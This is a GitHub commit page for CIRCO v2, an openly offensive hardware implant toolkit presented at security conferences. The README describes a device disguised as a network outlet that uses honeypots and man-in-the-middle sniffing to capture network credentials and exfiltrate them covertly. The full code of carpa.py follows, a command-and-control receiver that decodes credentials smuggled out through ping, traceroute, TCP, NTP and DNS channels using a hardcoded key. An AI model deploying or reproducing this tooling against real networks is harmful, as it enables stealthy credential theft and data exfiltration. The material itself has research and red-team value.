-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
56 changed files
with
7,663 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
venv | ||
__pycache__ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,160 @@ | ||
[![Black Hat Arsenal](https://rawgit.com/toolswatch/badges/master/arsenal/asia/2019.svg)](http://www.toolswatch.org/2019/01/black-hat-arsenal-asia-2019-lineup-announced) | ||
|
||
# CIRCO | ||
|
||
## Cisco Implant Raspberry Controlled Operations | ||
|
||
## Red Teams | ||
Designed under Raspberry Pi, we take advantage of “Sec/Net/Dev/Ops” enterprise tools to capture network credentials in a stealth mode. | ||
Using a low profile hardware & electronics camouflaged as simple network outlet box or PSU injector to be sitting under/over a desk. | ||
CIRCO include different techniques for network data exfiltration to avoid detection. | ||
This tool gather information and use a combination of honeypots to trick Automation Systems to give us their network credentials! | ||
In `bridge` mode, you can also sniff (MiTM) credentials/hashes from an IP-Phone and PC cascade to the phone. | ||
|
||
## Blue Teams | ||
The perfect and cheapeast way to deploy a Cisco honeypot, just deploy either using Raspberry or any other hardware on the network and integrate logging/alarms to your SOC. | ||
Could be sitting outside, inside or DMZ of your network. | ||
|
||
|
||
---- | ||
|
||
## Hardware | ||
|
||
The specific hardware will depend on size and features you want, as an example, you can run CIRCO on a Raspberry Pi Zero without Wireless Extraction feature or you could be using a Raspberry Pi 3B with a wireless dongle. | ||
|
||
The main constrain could be physical space to fit CIRCO. | ||
|
||
You will also need some Cat 5 twisted cable, pliers, RJ45, soldering/desoldering tools, wires, glue-gun, zip-ties, etc | ||
|
||
Be creative! | ||
|
||
--- | ||
|
||
## Software | ||
|
||
There are 3 main elements that make CIRCO: | ||
|
||
- The implant main program called `circo.py` to be deployed in the Raspberry Pi hardware | ||
To emulate a Cisco Switch SNMP Agent, we are using forked version of [snmposter](https://github.com/ekiojp/snmposter) | ||
|
||
- To receive extracted credentials via different techniques, we use `carpa.py` on an Internet Server, as long is has a public IP and no firewalls in front preventing traffic to reach it. | ||
We also need a domain pointing NS records to our public IP | ||
|
||
- Specific for wireless or SDR exfiltration we have `jaula.py`, this can run on a laptop with a Wireless adaptor supporting `monitor mode`, also an SDR receiver (like RTL-SDR, HackRF, etc) | ||
|
||
All packet manipulation and crafting is been done mainly with [Scapy](https://github.com/secdev/scapy) as it has enough flexibility with some exceptions (did I say I hate DHCP handshake?) | ||
|
||
CIRCO v2 has been coded in Python 3.7 | ||
|
||
---- | ||
|
||
## Installation | ||
|
||
The [Wiki](https://github.com/ekiojp/circo/wiki) has step-by-step instruction to install it | ||
|
||
---- | ||
|
||
## Usage | ||
|
||
Examples/Screenshots/Videos added to [Wiki](https://github.com/ekiojp/circo/wiki) | ||
|
||
--- | ||
|
||
# Credentials Exfiltration Format | ||
|
||
We use `t` (*telnet*), `s` (*ssh*) and `p` (*snmp*) to identifiy the protocol used for the credentials obtained via honeypots. | ||
|
||
For Telnet/SSH `enable` passwords we `e` as 2nd key identifier | ||
|
||
honeypots came from, to save bits the Dotted IP format has been converted to Hex | ||
The exfiltration programs `carpa.py` or `jaula.py` will convert back to Dotted | ||
IP format before display/writing output file | ||
|
||
From version 2, we sniff credentials using [Net-Creds](https://github.com/DanMcInerney/net-creds) and also capture SIP hashes | ||
|
||
### Telnet | ||
``` | ||
t,<user>,<password>,<src_ip> | ||
t,e,<enable>,<src_ip> | ||
``` | ||
|
||
### SSH | ||
``` | ||
s,<user>,<password>,<src_ip> | ||
s,e,<enable>,<src_ip> | ||
``` | ||
|
||
### SNMP | ||
``` | ||
p,<community>,<src_ip> | ||
``` | ||
|
||
### [Net-Creds](https://github.com/DanMcInerney/net-creds) | ||
``` | ||
n,<credential/hash>,<dst_ip> | ||
``` | ||
|
||
### VoIP | ||
``` | ||
v,<hash> | ||
``` | ||
|
||
---- | ||
|
||
# Presentations | ||
|
||
[DEF CON 28 Demo Labs (Aug-2020)](https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Sage%20Mode%20demo%20labs/DEF%20CON%20Safe%20Mode%20Demo%20Labs%20-%20Emilio%20Couto%20-%20CIRCO%20v2.pdf) | ||
|
||
[AV Tokyo HIVE (Nov-2019)](https://speakerdeck.com/ekio_jp/circo-av-tokyo-2019) | ||
|
||
[Code Blue Bluebox (Oct-2019)](https://speakerdeck.com/ekio_jp/circo-code-blue-2019-bluebox) | ||
|
||
[HITB GSEC Armory (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-hitb-gsec) | ||
|
||
[Def CON 27 Packet Hacking Village (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-def-con-27-phv-11-aug-2019) | ||
|
||
[Def CON 27 Demo Labs (Aug-2019)](https://speakerdeck.com/ekio_jp/circo-def-con-27-demo-labs) | ||
|
||
[Hackers Party Booth (Jul-2019)](https://speakerdeck.com/ekio_jp/circo-hackers-party) | ||
|
||
[BlackHat Asia Arsenal (Mar-2019)](https://speakerdeck.com/ekio_jp/circo-blackhat-asia-2019-arsenal) | ||
|
||
[濱せっく / HamaSec (Feb-2019)](https://speakerdeck.com/ekio_jp/circo-hamasec-feb-2019) | ||
|
||
[YOROZU SECCON (Dec-2018)](https://speakerdeck.com/ekio_jp/circo-yorozu-seccon-2018) | ||
|
||
[HIVE AV Tokyo (Nov-2018)](https://speakerdeck.com/ekio_jp/circo-hive-av-tokyo-2018) | ||
|
||
---- | ||
|
||
# ToDo | ||
|
||
- [ ] Automatic Installation script (circo/jaula/carpa) | ||
- [ ] Include implant ID on exfiltration | ||
- [ ] Work on No-DHCP module | ||
- [ ] Migrate net-creds to python3 | ||
- [ ] Code new SNMP agent in python3 | ||
- [ ] Extra exfiltration methods | ||
- [ ] Deploy Blue Team mode | ||
- [ ] Make the code much more nicer | ||
|
||
---- | ||
|
||
# Disclaimer | ||
|
||
The tool is provided for educational, research or testing purposes. | ||
Using this tool against network/systems without prior permission is illegal. | ||
Radio waves are regulated per each country, before any radio wave transmission, make sure you complain within your country regulations (power, frequencies, bandwidth, etc.) | ||
The author is not liable for any damages from misuse of this tool, techniques or code. | ||
|
||
---- | ||
|
||
# Author | ||
|
||
Emilio / [@ekio_jp](https://twitter.com/ekio_jp) | ||
|
||
---- | ||
|
||
CIRCO v2 code will be pushed Aug 7th, stay tune! | ||
# Licence | ||
|
||
Please see [LICENSE](https://github.com/ekiojp/circo/blob/master/LICENSE). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,209 @@ | ||
#!/usr/bin/env python3 | ||
import re | ||
import sys | ||
import time | ||
import queue | ||
import argparse | ||
import pyaes | ||
import pyscrypt | ||
from pyfiglet import Figlet | ||
from scapy.all import * | ||
|
||
from modules.recv.ping import PINGModule | ||
from modules.recv.trace import TRACEModule | ||
from modules.recv.tcp import TCPModule | ||
from modules.recv.ntp import NTPModule | ||
from modules.recv.dns import DNSModule | ||
from modules.recv.faraday import Faraday | ||
|
||
# Me | ||
__author__ = "Emilio / @ekio_jp" | ||
__version__ = "2.020" | ||
|
||
# Config | ||
PHRASE = 'Waaaaa! awesome :)' | ||
SALT = 'salgruesa' | ||
CONF = {'DEBUG': False, | ||
'CCNAME': 'evil.sub.domain', | ||
'MAGIC': 666, | ||
'SEED1': 1000, | ||
'SEED2': 5000, | ||
'SEED3': 8000 | ||
} | ||
|
||
FCONF = {'FSERVER': 'http://127.0.0.1:5985', | ||
'FWS': 'demo', | ||
'FUSER': 'faraday', | ||
'FPASSWD': 'changeme' | ||
} | ||
|
||
# Define Funtions | ||
def decrypt(ciphertxt): | ||
key = pyscrypt.hash(PHRASE.encode(), SALT.encode(), 1024, 1, 1, 16) | ||
aes = pyaes.AESModeOfOperationCTR(key) | ||
cleartxt = aes.decrypt(bytes.fromhex(ciphertxt)) | ||
return cleartxt.decode() | ||
|
||
def hextoip(ip): | ||
n = 2 | ||
return '.'.join([str(int(ip[i:i+n], 16)) for i in range(0, len(ip), n)]) | ||
|
||
def printer(fd, text): | ||
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text) | ||
find = re.compile('\\b' + text + '\\b') | ||
with open(fd, 'a+') as sfile: | ||
with open(fd, 'r') as xfile: | ||
m = find.findall(xfile.read()) | ||
if not m: | ||
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", | ||
time.gmtime()) + text + '\n') | ||
|
||
def parsingopt(): | ||
f = Figlet(font='standard') | ||
print(f.renderText('CARPA')) | ||
print('Author: {}'.format(__author__)) | ||
print('Version: {}\n'.format(__version__)) | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument('-v', '--verbose', action='store_true', help='Enable Debugging') | ||
parser.add_argument('-i', required=True, metavar='<eth0>', dest='nic', help='Sniff Interface') | ||
parser.add_argument('--tcp', required=True, dest='tport', metavar='80', help='TCP exfiltration') | ||
parser.add_argument('-f', '--faraday', action='store_true', help='Faraday Integration') | ||
parser.add_argument('-l', required=True, metavar='<logfile>', dest='fd', help='Log File') | ||
if len(sys.argv) > 1: | ||
try: | ||
return parser.parse_args() | ||
except(argparse.ArgumentError): | ||
parser.error() | ||
else: | ||
parser.print_help() | ||
sys.exit(1) | ||
|
||
# Main Function | ||
def main(): | ||
options = parsingopt() | ||
|
||
ping_q = queue.Queue() | ||
trace_q = queue.Queue() | ||
tcp_q = queue.Queue() | ||
ntp_q = queue.Queue() | ||
dns_q = queue.Queue() | ||
|
||
if options.verbose: | ||
CONF['DEBUG'] = True | ||
|
||
CONF['IFACE'] = options.nic | ||
|
||
# PING Thread | ||
pingdh = PINGModule(ping_q, CONF) | ||
pingdh.daemon = True | ||
pingdh.start() | ||
|
||
# TRACE Thread | ||
tracedh = TRACEModule(trace_q, CONF) | ||
tracedh.daemon = True | ||
tracedh.start() | ||
|
||
# WEB Thread | ||
tcpdh = TCPModule((tcp_q, int(options.tport)), CONF) | ||
tcpdh.daemon = True | ||
tcpdh.start() | ||
|
||
# NTP Thread | ||
ntpdh = NTPModule(ntp_q, CONF) | ||
ntpdh.daemon = True | ||
ntpdh.start() | ||
|
||
# DNS Thread | ||
dnsdh = DNSModule(dns_q, CONF) | ||
dnsdh.daemon = True | ||
dnsdh.start() | ||
|
||
# Faraday Thread | ||
if options.faraday: | ||
FCONF['FILE'] = options.fd | ||
faradh = Faraday(FCONF) | ||
faradh.daemon = True | ||
faradh.start() | ||
|
||
print('Listening.....') | ||
# Running loop | ||
try: | ||
while True: | ||
if not ping_q.empty(): | ||
(data, srcip) = ping_q.get() | ||
method = 'PING' | ||
if data == CONF['MAGIC']: | ||
printer(options.fd, method + ':' + srcip + ':Alarm') | ||
else: | ||
cleartxt = decrypt(data) | ||
if cleartxt.startswith('v,') or cleartxt.startswith('n,'): | ||
cleartxt = method + ':' + srcip + ':' + cleartxt | ||
else: | ||
hexip = cleartxt.split(',')[-1] | ||
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip)) | ||
printer(options.fd, cleartxt) | ||
elif not trace_q.empty(): | ||
(data, srcip) = trace_q.get() | ||
method = 'TRACE' | ||
if data == CONF['MAGIC']: | ||
printer(options.fd, method + ':' + srcip + ':Alarm') | ||
else: | ||
cleartxt = decrypt(data) | ||
if cleartxt.startswith('v,') or cleartxt.startswith('n,'): | ||
cleartxt = method + ':' + srcip + ':' + cleartxt | ||
else: | ||
hexip = cleartxt.split(',')[-1] | ||
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip)) | ||
printer(options.fd, cleartxt) | ||
elif not tcp_q.empty(): | ||
(data, srcip) = tcp_q.get() | ||
method = 'TCP_' + options.tport | ||
if data == CONF['MAGIC']: | ||
printer(options.fd, method + ':' + srcip + ':Alarm') | ||
else: | ||
cleartxt = decrypt(data) | ||
if cleartxt.startswith('v,') or cleartxt.startswith('n,'): | ||
cleartxt = method + ':' + srcip + ':' + cleartxt | ||
else: | ||
hexip = cleartxt.split(',')[-1] | ||
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip)) | ||
printer(options.fd, cleartxt) | ||
elif not ntp_q.empty(): | ||
(data, srcip) = ntp_q.get() | ||
method = 'NTP' | ||
if data == CONF['MAGIC']: | ||
printer(options.fd, method + ':' + srcip + ':Alarm') | ||
else: | ||
cleartxt = decrypt(data) | ||
if cleartxt.startswith('v,') or cleartxt.startswith('n,'): | ||
cleartxt = method + ':' + srcip + ':' + cleartxt | ||
else: | ||
hexip = cleartxt.split(',')[-1] | ||
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip)) | ||
printer(options.fd, cleartxt) | ||
elif not dns_q.empty(): | ||
(data, srcip, method) = dns_q.get() | ||
if data == str(CONF['MAGIC']): | ||
printer(options.fd, method + ':' + srcip + ':Alarm') | ||
else: | ||
cleartxt = decrypt(data) | ||
if cleartxt.startswith('v,') or cleartxt.startswith('n,'): | ||
cleartxt = method + ':' + srcip + ':' + cleartxt | ||
else: | ||
hexip = cleartxt.split(',')[-1] | ||
cleartxt = method + ':' + srcip + ':' + cleartxt.replace(hexip, hextoip(hexip)) | ||
printer(options.fd, cleartxt) | ||
|
||
except KeyboardInterrupt: | ||
pingdh.join() | ||
tracedh.join() | ||
tcpdh.join() | ||
ntpdh.join() | ||
dnsdh.join() | ||
if options.faraday: | ||
faradh.join() | ||
sys.exit(0) | ||
|
||
# Call main | ||
if __name__ == '__main__': | ||
main() |
Oops, something went wrong.